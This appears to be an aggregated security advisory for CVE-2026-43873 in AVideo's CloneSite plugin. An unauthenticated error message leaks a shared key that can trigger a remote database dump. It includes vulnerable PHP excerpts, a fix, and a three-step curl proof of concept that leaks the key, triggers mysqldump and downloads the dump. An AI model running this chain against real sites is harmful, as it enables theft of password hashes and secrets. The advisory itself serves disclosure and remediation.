CVE-2026-43873: AVideo Unauthenticated Disclosure Of CloneSite `myKey` Vulnerability

HIGH
Advisory Identifier: GHSA-qm9p-p5pw-jrx2
CVSS 7.5
CWE-209
Published
Advisory Summary

CVE-2026-43873 is a HIGH (CVSS 7.5) unauthenticated disclosure of clonesite `mykey` vulnerability (CWE-209: Generation of Error Message Containing Sensitive Information) affecting AVideo libraries in the Packagist ecosystem. The issue involves unauthenticated disclosure of clonesite `mykey` via error echo in `cloneclient.json.php` enables cross-site db dump of the configured clone server. Remediation is available in the latest vendor maintenance releases.

CVE-2026-43873 at a Glance

CVE Identifier CVE-2026-43873
GHSA Identifier GHSA-qm9p-p5pw-jrx2
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-209: Generation of Error Message Containing Sensitive Information
Affected Product AVideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-43873

To remediate this vulnerability, upgrade all affected AVideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-43873, inspect your project dependencies for AVideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of AVideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-209: Generation of Error Message Containing Sensitive Information, where the product generates an error message that includes sensitive information about its environment, users, or associated data. In AVideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `plugin/CloneSite/cloneClient.json.php` echoes the local CloneSite shared secret (`$objClone->myKey`, a constant `md5($global['systemRootPath'] . $global['salt'])`) into the HTTP response body on every unauthenticated request. The unauthenticated error branch was intended to reject non-admin callers without a valid key, but the rejection message interpolates the expected key before `die()`. When the victim has CloneSite configured with a remote `cloneSiteURL` (standard federation/backup setup), the leaked `myKey` is exactly the credential that authenticates the victim to that remote server's `cloneServer.json.php`, allowing the attacker to impersonate the victim and trigger a full `mysqldump` of the remote's database to the remote's public `videos/clones/` directory. ## Details ### 1. The leak (`plugin/CloneSite/cloneClient.json.php:51-60`) ```php $objCloneOriginal = $objClone; $argv[1] = preg_replace("/[^A-Za-z0-9 ]/", '', empty($argv[1])?'':$argv[1]); if (empty($objClone) || empty($argv[1]) || $objClone->myKey !== $argv[1]) { if (!User::isAdmin()) { $resp->msg = "You can't do this"; $log->add("Clone: {$resp->msg}"); echo "$objClone->myKey !== $argv[1]"; // <-- interpolates myKey die(json_encode($resp)); } } ``` Under PHP's web SAPI, the script-scope `$argv` global is not populated from the query string (only `$_SERVER['argv']` is populated, and only when `register_argc_argv=On`). Verified on this host (PHP 8.4.16, built-in web server): ``` bool(false) # isset($argv) string(9) "undefined" # $argv ?? 'undefined' string(9) "undefined" # $_SERVER['argv'] string(9) "undefined" # $argv[1] bool(true) # empty($argv[1]) ``` Because `empty($argv[1])` is true, line 51's `preg_replace` returns `''` and `$argv[1]` becomes `''`. Line 53 therefore enters the outer `if` (empty key). `User::isAdmin()` returns false for unauthenticated callers, so line 57 runs and echoes the contents of `$objClone->myKey` into the response body before `die()`. The response body looks like: ``` <32-hex-char md5> !== {"error":true,"msg":"You can't do this"} ``` The 32-hex prefix is the local `myKey`. ### 2. Where `myKey` comes from (`plugin/CloneSite/CloneSite.php:67`) ```php $obj->myKey = md5($global['systemRootPath'].$global['salt']); ``` `myKey` is a static per-installation value generated from `systemRootPath` and `salt`. It never rotates. ### 3. Why the leaked key is dangerous (cross-site chain) `cloneClient.json.php:75` shows `myKey` is the credential the client presents to its configured remote clone server: ```php $url = $objClone->cloneSiteURL . "plugin/CloneSite/cloneServer.json.php?url=" . urlencode($global['webSiteRootURL']) . "&key={$objClone->myKey}&useRsync=" . intval($objClone->useRsync); ``` On the remote side, `plugin/CloneSite/cloneServer.json.php:32-42` calls `Clones::thisURLCanCloneMe($_GET['url'], $_GET['key'])`, which in `plugin/CloneSite/Objects/Clones.php:73-101` does only: ```php $clone = new Clones(0); $clone->loadFromURL($url); ... if ($clone->getKey() !== $key) { $resp->msg = "Invalid Key"; return $resp; } if ($clone->getStatus() !== 'a') { ... } ``` For any federation pair the remote admin has approved (`status='a'`), supplying `url=<victim>&key=<leaked myKey>` passes this check. `cloneServer.json.php:86-90` then runs an unconditional `mysqldump` of every table except `CachesInDB`: ```php $cmd = "mysqldump -u {$mysqlUser} -p'{$mysqlPass}' --host {$mysqlHost} ". " --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} > $sqlFile"; exec($cmd . " 2>&1", $output, $return_val); ... echo json_encode($resp); // includes $resp->sqlFile = "Clone_mysqlDump_<uniqid>.sql" ``` The dump lands in `{videosDir}/clones/<sqlFile>`, and `videos/` is a public static directory in default AVideo deployments, so the attacker can fetch it with one more unauthenticated request. ### 4. Not fixed by the previous `clones.json.php` hardening Commit `160e02635`/earlier added `if (!User::isAdmin())` guards to `plugin/CloneSite/clones.json.php` (the table-management endpoint that lists server-side per-client keys, previously advisory-submitted as CWE-306). That fix does not apply to `cloneClient.json.php`, which is a separate file and discloses a structurally different secret (the local `myKey`, not the per-URL server-side keys). ## PoC Prerequisite: target installation has the `CloneSite` plugin enabled with a configured `cloneSiteURL` (this is the standard use: federated backup / site cloning). No authentication required. **Step 1 — leak the local `myKey` (unauthenticated GET):** ```bash curl -s 'https://victim.example.com/plugin/CloneSite/cloneClient.json.php' ``` Response body: ``` 3f2a7c8b9d6e4f1a0b5c7d8e9f2a3b4c !== {"error":true,"msg":"You can't do this"} ``` The 32-hex-character prefix is `$objClone->myKey`. **Step 2 — use the leaked `myKey` to make the victim's configured remote dump its own database:** ```bash curl -s 'https://remote-server.example.com/plugin/CloneSite/cloneServer.json.php?url=https%3A%2F%2Fvictim.example.com%2F&key=3f2a7c8b9d6e4f1a0b5c7d8e9f2a3b4c&useRsync=0' ``` Response (truncated): ```json {"error":false,"url":"https://victim.example.com/","key":"...","videosDir":"...","sqlFile":"Clone_mysqlDump_65f3a2b14c7e8.sql","videoFiles":[...],"photoFiles":[...]} ``` **Step 3 — download the full database dump from the remote's public `videos/` directory:** ```bash curl -O 'https://remote-server.example.com/videos/clones/Clone_mysqlDump_65f3a2b14c7e8.sql' ``` This file contains every table except `CachesInDB` — `users` (including password hashes), payment records, API secrets, plugin configuration, etc. ## Impact - Any unauthenticated attacker can retrieve the CloneSite shared secret (`myKey`) of any AVideo installation that has the plugin enabled. `myKey` is static and never rotates on its own. - When that installation is federated with a remote CloneSite server (the standard use of the plugin), the leaked key permits the attacker to impersonate the victim client to the remote. `cloneServer.json.php` on the remote performs no additional authentication, runs an unconditional `mysqldump`, and places the result under the web-accessible `videos/clones/` directory — so a single leaked `myKey` leads to a full database dump (users, password hashes, payment and plugin configuration, API credentials) of the remote partner, downloadable over HTTP. - The compromise crosses the federation boundary: leaking the key on site A yields the database of site B. This is scope-changing in practice even if CVSS scope is formally `Unchanged`. - The `clones.json.php` hardening (the previously reported CWE-306 fix) does not cover this path; `cloneClient.json.php` is a distinct file that exposes a structurally different credential. ## Recommended Fix Do not echo the expected key in the rejection message, and reject non-CLI / non-admin callers cleanly. Example patch for `plugin/CloneSite/cloneClient.json.php:51-60`: ```php // Only accept the key argument from actual CLI invocations (intended usage: // cron "php .../cloneClient.json.php <myKey>"). Over HTTP, require admin. $cliKey = (PHP_SAPI === 'cli' && !empty($argv[1])) ? preg_replace("/[^A-Za-z0-9 ]/", '', $argv[1]) : ''; if (empty($objClone) || empty($cliKey) || $objClone->myKey !== $cliKey) { if (!User::isAdmin()) { $resp->msg = "You can't do this"; $log->add("Clone: {$resp->msg}"); // Do NOT echo $objClone->myKey — it is a shared secret used to // authenticate to the configured remote clone server. die(json_encode($resp)); } } ``` Additional hardening recommended: - Replace the static `myKey = md5(systemRootPath . salt)` with a randomly generated, per-installation key stored in the plugin configuration that can be rotated (see similar advice from GHSA-wqcc-qf63-c2x4 / CWE-331 on AVideo secret generation). - On the remote side (`cloneServer.json.php`), consider requiring the `sqlFile` path to be unguessable (already is, via `uniqid()`) AND gating the dump behind an IP allowlist or an additional pre-shared rotating token, so that loss of a client's `myKey` does not immediately yield a full database dump. - Serve `videos/clones/` with an `.htaccess`/nginx rule that denies direct HTTP access, so that even if a rogue client is authenticated, the dump is not downloadable over the web.

CVE-2026-43873 Affected AVideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 29.0

References

Frequently Asked Questions

What is CVE-2026-43873?
CVE-2026-43873 is a security vulnerability in AVideo involving Unauthenticated Disclosure of CloneSite `myKey` via Error Echo in `cloneClient.json.php` Enables Cross-Site DB Dump of the Configured Clone Server under CWE-209: Generation of Error Message Containing Sensitive Information.
Which AVideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-43873?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-43873?
CVE-2026-43873 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-43873?
CVE-2026-43873 is classified under CWE-209: Generation of Error Message Containing Sensitive Information (The product generates an error message that includes sensitive information about its environment, users, or associated data.).
How can I check Packagist dependencies for CVE-2026-43873?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qm9p-p5pw-jrx2",
  "modified" : "2026-05-13T14:19:24Z",
  "published" : "2026-05-05T18:58:13Z",
  "aliases" : [ "CVE-2026-43873" ],
  "summary" : "AVideo: Unauthenticated Disclosure of CloneSite `myKey` via Error Echo in `cloneClient.json.php` Enables Cross-Site DB Dump of the Configured Clone Server",
  "details" : "## Summary\n\n`plugin/CloneSite/cloneClient.json.php` echoes the local CloneSite shared secret (`$objClone->myKey`, a constant `md5($global['systemRootPath'] . $global['salt'])`) into the HTTP response body on every unauthenticated request. The unauthenticated error branch was intended to reject non-admin callers without a valid key, but the rejection message interpolates the expected key before `die()`. When the victim has CloneSite configured with a remote `cloneSiteURL` (standard federation/backup setup), the leaked `myKey` is exactly the credential that authenticates the victim to that remote server's `cloneServer.json.php`, allowing the attacker to impersonate the victim and trigger a full `mysqldump` of the remote's database to the remote's public `videos/clones/` directory.\n\n## Details\n\n### 1. The leak (`plugin/CloneSite/cloneClient.json.php:51-60`)\n\n```php\n$objCloneOriginal = $objClone;\n$argv[1] = preg_replace(\"/[^A-Za-z0-9 ]/\", '', empty($argv[1])?'':$argv[1]);\n\nif (empty($objClone) || empty($argv[1]) || $objClone->myKey !== $argv[1]) {\n    if (!User::isAdmin()) {\n        $resp->msg = \"You can't do this\";\n        $log->add(\"Clone: {$resp->msg}\");\n        echo \"$objClone->myKey !== $argv[1]\";   // <-- interpolates myKey\n        die(json_encode($resp));\n    }\n}\n```\n\nUnder PHP's web SAPI, the script-scope `$argv` global is not populated from the query string (only `$_SERVER['argv']` is populated, and only when `register_argc_argv=On`). Verified on this host (PHP 8.4.16, built-in web server):\n\n```\nbool(false)                # isset($argv)\nstring(9) \"undefined\"      # $argv ?? 'undefined'\nstring(9) \"undefined\"      # $_SERVER['argv']\nstring(9) \"undefined\"      # $argv[1]\nbool(true)                 # empty($argv[1])\n```\n\nBecause `empty($argv[1])` is true, line 51's `preg_replace` returns `''` and `$argv[1]` becomes `''`. Line 53 therefore enters the outer `if` (empty key). `User::isAdmin()` returns false for unauthenticated callers, so line 57 runs and echoes the contents of `$objClone->myKey` into the response body before `die()`. The response body looks like:\n\n```\n<32-hex-char md5> !== {\"error\":true,\"msg\":\"You can't do this\"}\n```\n\nThe 32-hex prefix is the local `myKey`.\n\n### 2. Where `myKey` comes from (`plugin/CloneSite/CloneSite.php:67`)\n\n```php\n$obj->myKey = md5($global['systemRootPath'].$global['salt']);\n```\n\n`myKey` is a static per-installation value generated from `systemRootPath` and `salt`. It never rotates.\n\n### 3. Why the leaked key is dangerous (cross-site chain)\n\n`cloneClient.json.php:75` shows `myKey` is the credential the client presents to its configured remote clone server:\n\n```php\n$url = $objClone->cloneSiteURL . \"plugin/CloneSite/cloneServer.json.php?url=\"\n     . urlencode($global['webSiteRootURL']) . \"&key={$objClone->myKey}&useRsync=\" . intval($objClone->useRsync);\n```\n\nOn the remote side, `plugin/CloneSite/cloneServer.json.php:32-42` calls `Clones::thisURLCanCloneMe($_GET['url'], $_GET['key'])`, which in `plugin/CloneSite/Objects/Clones.php:73-101` does only:\n\n```php\n$clone = new Clones(0);\n$clone->loadFromURL($url);\n...\nif ($clone->getKey() !== $key) { $resp->msg = \"Invalid Key\"; return $resp; }\nif ($clone->getStatus() !== 'a') { ... }\n```\n\nFor any federation pair the remote admin has approved (`status='a'`), supplying `url=<victim>&key=<leaked myKey>` passes this check. `cloneServer.json.php:86-90` then runs an unconditional `mysqldump` of every table except `CachesInDB`:\n\n```php\n$cmd = \"mysqldump -u {$mysqlUser} -p'{$mysqlPass}' --host {$mysqlHost} \".\n       \" --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} > $sqlFile\";\nexec($cmd . \" 2>&1\", $output, $return_val);\n...\necho json_encode($resp);   // includes $resp->sqlFile = \"Clone_mysqlDump_<uniqid>.sql\"\n```\n\nThe dump lands in `{videosDir}/clones/<sqlFile>`, and `videos/` is a public static directory in default AVideo deployments, so the attacker can fetch it with one more unauthenticated request.\n\n### 4. Not fixed by the previous `clones.json.php` hardening\n\nCommit `160e02635`/earlier added `if (!User::isAdmin())` guards to `plugin/CloneSite/clones.json.php` (the table-management endpoint that lists server-side per-client keys, previously advisory-submitted as CWE-306). That fix does not apply to `cloneClient.json.php`, which is a separate file and discloses a structurally different secret (the local `myKey`, not the per-URL server-side keys).\n\n## PoC\n\nPrerequisite: target installation has the `CloneSite` plugin enabled with a configured `cloneSiteURL` (this is the standard use: federated backup / site cloning). No authentication required.\n\n**Step 1 — leak the local `myKey` (unauthenticated GET):**\n\n```bash\ncurl -s 'https://victim.example.com/plugin/CloneSite/cloneClient.json.php'\n```\n\nResponse body:\n\n```\n3f2a7c8b9d6e4f1a0b5c7d8e9f2a3b4c !== {\"error\":true,\"msg\":\"You can't do this\"}\n```\n\nThe 32-hex-character prefix is `$objClone->myKey`.\n\n**Step 2 — use the leaked `myKey` to make the victim's configured remote dump its own database:**\n\n```bash\ncurl -s 'https://remote-server.example.com/plugin/CloneSite/cloneServer.json.php?url=https%3A%2F%2Fvictim.example.com%2F&key=3f2a7c8b9d6e4f1a0b5c7d8e9f2a3b4c&useRsync=0'\n```\n\nResponse (truncated):\n\n```json\n{\"error\":false,\"url\":\"https://victim.example.com/\",\"key\":\"...\",\"videosDir\":\"...\",\"sqlFile\":\"Clone_mysqlDump_65f3a2b14c7e8.sql\",\"videoFiles\":[...],\"photoFiles\":[...]}\n```\n\n**Step 3 — download the full database dump from the remote's public `videos/` directory:**\n\n```bash\ncurl -O 'https://remote-server.example.com/videos/clones/Clone_mysqlDump_65f3a2b14c7e8.sql'\n```\n\nThis file contains every table except `CachesInDB` — `users` (including password hashes), payment records, API secrets, plugin configuration, etc.\n\n## Impact\n\n- Any unauthenticated attacker can retrieve the CloneSite shared secret (`myKey`) of any AVideo installation that has the plugin enabled. `myKey` is static and never rotates on its own.\n- When that installation is federated with a remote CloneSite server (the standard use of the plugin), the leaked key permits the attacker to impersonate the victim client to the remote. `cloneServer.json.php` on the remote performs no additional authentication, runs an unconditional `mysqldump`, and places the result under the web-accessible `videos/clones/` directory — so a single leaked `myKey` leads to a full database dump (users, password hashes, payment and plugin configuration, API credentials) of the remote partner, downloadable over HTTP.\n- The compromise crosses the federation boundary: leaking the key on site A yields the database of site B. This is scope-changing in practice even if CVSS scope is formally `Unchanged`.\n- The `clones.json.php` hardening (the previously reported CWE-306 fix) does not cover this path; `cloneClient.json.php` is a distinct file that exposes a structurally different credential.\n\n## Recommended Fix\n\nDo not echo the expected key in the rejection message, and reject non-CLI / non-admin callers cleanly. Example patch for `plugin/CloneSite/cloneClient.json.php:51-60`:\n\n```php\n// Only accept the key argument from actual CLI invocations (intended usage:\n// cron \"php .../cloneClient.json.php <myKey>\"). Over HTTP, require admin.\n$cliKey = (PHP_SAPI === 'cli' && !empty($argv[1]))\n    ? preg_replace(\"/[^A-Za-z0-9 ]/\", '', $argv[1])\n    : '';\n\nif (empty($objClone) || empty($cliKey) || $objClone->myKey !== $cliKey) {\n    if (!User::isAdmin()) {\n        $resp->msg = \"You can't do this\";\n        $log->add(\"Clone: {$resp->msg}\");\n        // Do NOT echo $objClone->myKey — it is a shared secret used to\n        // authenticate to the configured remote clone server.\n        die(json_encode($resp));\n    }\n}\n```\n\nAdditional hardening recommended:\n\n- Replace the static `myKey = md5(systemRootPath . salt)` with a randomly generated, per-installation key stored in the plugin configuration that can be rotated (see similar advice from GHSA-wqcc-qf63-c2x4 / CWE-331 on AVideo secret generation).\n- On the remote side (`cloneServer.json.php`), consider requiring the `sqlFile` path to be unguessable (already is, via `uniqid()`) AND gating the dump behind an IP allowlist or an additional pre-shared rotating token, so that loss of a client's `myKey` does not immediately yield a full database dump.\n- Serve `videos/clones/` with an `.htaccess`/nginx rule that denies direct HTTP access, so that even if a rogue client is authenticated, the dump is not downloadable over the web.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "29.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-qm9p-p5pw-jrx2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-43873"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/e6566f56a28f4556b2a0a09d03717a719dcb49da"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-209" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T18:58:13Z",
    "nvd_published_at" : "2026-05-11T22:22:11Z"
  }
}